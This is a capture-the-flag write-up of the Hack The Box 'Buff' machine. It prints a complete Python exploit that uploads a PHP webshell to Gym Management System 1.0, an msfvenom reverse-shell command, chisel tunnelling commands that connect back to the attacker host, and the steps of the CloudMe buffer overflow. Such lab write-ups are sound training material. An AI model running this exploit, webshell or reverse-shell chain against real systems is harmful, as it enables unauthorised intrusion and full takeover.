Buff
Buff is a straightforward Windows box that simulates a real-world scenario where a web application is running a known vulnerable CMS. Initial access is achieved by exploiting an unauthenticated file upload vulnerability in Gym Management System 1.0, which allows a malicious PHP webshell to be uploaded and executed. From there, a more stable reverse shell is established using netcat. Privilege escalation involves identifying a locally running CloudMe Sync service vulnerable to a stack-based buffer overflow, tunneling to it via chisel, and firing a modified exploit with a custom reverse shell payload - resulting in a shell as Administrator.
| Machine | Buff |
|---|---|
| Difficulty | Easy |
| OS | Window |
| Released on | 18th July, 2020 |
| Created by | egotisticalSW |
Enumeration
Port Scan
During the assessment, I run a full TCP port scan against the target to identify open ports and running services.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.129.25.107
Host is up, received echo-reply ttl 127 (0.19s latency).
Scanned at 2026-06-12 17:17:17 EAT for 345s
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: mrb3n's Bro Hut
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
This shows a single open port (8080) running Apache with PHP on a Windows host.
Web Enumeration
Visiting the web app on port 8080, this shows what looks like a gym website titled “mrb3n’s Bro Hut”.
Browsing to the Contact page reveals a key piece of information:
This shows the application is running Gym Management Software 1.0 by Projectworlds.in
A quick search confirms multiple documented vulnerabilities for this exact version, including unauthenticated RCE, SQL injection, and stored XSS.
Initial Access - Unauthenticated RCE (EDB-ID: 48506)
Vulnerability Overview
Gym Management System 1.0 suffers from an unauthenticated file upload vulnerability in /upload.php. The upload endpoint does not enforce any session authentication, and the file type check can be bypassed by:
- Using a double extension (
shell.php.png) - the app extracts$conv['1'](second element from splitting on.), which givesphpas the stored extension. - Setting the
Content-Typetoimage/pngto pass the MIME check. - Passing the desired filename via the
idGET parameter.
The result is a PHP webshell written to /upload and accessible without authentication.
On your attack box, simply run searchsploit to find the available exploit:
Copy it locally:
1
2
3
4
5
6
7
8
✘ kali@kali ~/Desktop/Machine/HTB/Buff searchsploit -m 48506.py
Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/48506
Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/Machine/HTB/Buff/48506.py
Running the Exploit
The original script is Python 2. To port it to Python 3 you can:
- Replace all
print xwithprint(x)- Replace
raw_input()withinput()- Ensure the PNG magic bytes and PHP payload are proper
bytesliterals (b'\x89\x50...')- Add scheme detection and proper argument validation
I read through the script and corrected it to a working version linked:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3
# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Original Exploit Author: Bobby Cooke
# Original Date: 2020-05-21
# Python 3 Port: Adapted for Python 3 compatibility
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Vulnerability Description:
# Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability
# allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via
# uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.
# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
# - `upload.php?id=kamehameha`
# 3. Bypass the extension whitelist by adding a double extension, with the last one as an
# acceptable extension (png).
# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to
# 'image/png' in the POST request, and set the 'pupload' parameter to 'upload'.
# 5. Insert malicious PHP code: <?php echo shell_exec($_GET["telepathy"]); ?>
# 6. The web app renames using the second item in the array split by '.', giving us a .php shell.
# 7. Communicate with the webshell at '/upload/kamehameha.php' using the telepathy parameter.
import requests
import sys
import re
from colorama import Fore, Back, Style, init
init(autoreset=True)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL + 'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print(Style.BRIGHT + Fore.RED + "[!] " + Fore.RESET + "Could not connect to the webshell.")
r2.raise_for_status()
print(Fore.GREEN + '[+] ' + Fore.RESET + 'Successfully connected to webshell.')
cwd = re.findall(r'[CDEF].*', r2.text)
cwd = cwd[0] + "> "
term = Style.BRIGHT + Fore.GREEN + cwd + Fore.RESET
while True:
thought = input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
print(r2.text)
except KeyboardInterrupt:
print("\r\nExiting.")
sys.exit(0)
except Exception as e:
print(f"\r\nError: {e}\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT + Fore.RED + STRING + Fore.RESET
def header():
BL = Style.BRIGHT + Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL + ' /\\\n' + RS
SIG += Fore.YELLOW + '/vvvvvvvvvvvv ' + BL + '\\' + FR + '--------------------------------------,\n'
SIG += Fore.YELLOW + '`^^^^^^^^^^^^' + BL + ' /' + FR + '============' + Fore.RED + 'BOKU' + FR + '====================="\n'
SIG += BL + ' \\/' + RS + '\n'
return SIG
if __name__ == "__main__":
print(header())
if len(sys.argv) != 2 or sys.argv[1] in ('-h', '--help'):
print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(formatHelp("(+) Example:\t python %s 'http://10.0.0.3:8080/gym/'" % sys.argv[0]))
print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0]))
sys.exit(0)
SERVER_URL = sys.argv[1]
# Auto-prepend http:// if no scheme is provided
if not SERVER_URL.startswith(('http://', 'https://')):
SERVER_URL = 'http://' + SERVER_URL
print(Fore.YELLOW + '[*] ' + Fore.RESET + f'No scheme detected, defaulting to http: {SERVER_URL}')
# Ensure trailing slash
if not SERVER_URL.endswith('/'):
SERVER_URL += '/'
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = b'\x89\x50\x4e\x47\x0d\x0a\x1a\x0a'
php_payload = b'<?php echo shell_exec($_GET["telepathy"]); ?>'
png = {
'file': (
'kaio-ken.php.png',
PNG_magicBytes + b'\n' + php_payload,
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
Run the updated exploit:
This shows the webshell is successfully planted and executing commands as buff\shaun. You can grab the user flag directly in his desktop directory.
Stable Shell via Netcat
The webshell is functional but limited. It has no interactivity and no stable I/O. To get a proper shell, serve nc64.exe from an SMB share locally on your machine and copy it to the target.
On the attacker machine, start an SMB server:
On the target via the webshell, pull nc64.exe over and execute a reverse shell callback:
On the attacker machine, catch the connection:
Privilege Escalation - CloudMe Buffer Overflow (EDB-ID: 48389)
Discovery
With a stable shell, running systeminfo shows the machine is running Windows 10 Enterprise Build 17134.
Enumerating shaun’s Downloads directory reveals a suspicious binary:
CloudMe_1112.exe is an installer for CloudMe Sync version 1.11.2, a cloud file synchronization application. This version is known to be vulnerable to a stack-based buffer overflow on its default listening port 8888.
Simply run netstat to confirm CloudMe is listening locally:
This confirms CloudMe is running and bound only to 127.0.0.1:8888 . We will need a tunnel to explore his service locally.
I also identified that this specific version is vulnerable to Buffer Overflow , with an available POC
Locating the Exploit
The exploit (48389.py) is a simple Python socket script that:
- Pads
1052bytes to overflow the buffer - Overwrites EIP with
0x68A842B5(PUSH ESP; RET gadget) - Follows with a NOP sled and a shellcode payload
- Sends the full buffer to
127.0.0.1:8888
The default payload launches calc.exe but we can replace this with a reverse shell.
Generating Custom Shellcode
Generate a Windows x86 reverse shell payload with msfvenom, excluding bad characters (\x00, \x0A, \x0D) as shown:
1
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.15.192 LPORT=4848 -b '\x00\x0A\x0D' -f python -v payload
Replace the existing payload block in 48389.py with the generated shellcode, keeping the padding, EIP, and NOPS unchanged.
Tunneling with Chisel
Since CloudMe only binds to 127.0.0.1, the exploit must be run from inside the target. Instead, forward the remote port to the attacker machine using Chisel.
On the attacker, start Chisel in reverse server mode:
1
chisel server -p 8000 --reverse
On the target, copy chisel.exe from our SMB share and connect back in client mode, forwarding port 8888:
1
2
3
copy \\10.10.15.192\buff\chisel.exe
.\chisel.exe client 10.10.15.192:8000 R:8888:localhost:8888
Confirm the tunnel is active on the attacker machine:
1
2
3
4
5
6
7
8
9
10
11
➜ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
//
tcp 0 0 0.0.0.0:4848 0.0.0.0:* LISTEN 411838/nc
//
tcp6 0 0 :::8000 :::* LISTEN 413754/chisel
//
tcp6 0 0 :::8888 :::* LISTEN 413754/chisel
Run the exploit against the forwarded local port:
1
➜ python 48389.py
This gives a shell as buff\administrator. Proceed to read the root flag:
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Reconnaissance | Active Scanning: Port/Service Scanning | T1595.001 |
| Initial Access | Exploit Public-Facing Application | T1190 |
| Execution | Command and Scripting Interpreter: PHP | T1059 |
| Persistence | Server Software Component: Web Shell | T1505.003 |
| Lateral Movement / Tunneling | Protocol Tunneling | T1572 |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 |
| Credential Access / Discovery | System Information Discovery | T1082 |
| Command & Control | Ingress Tool Transfer (nc, chisel) | T1105 |
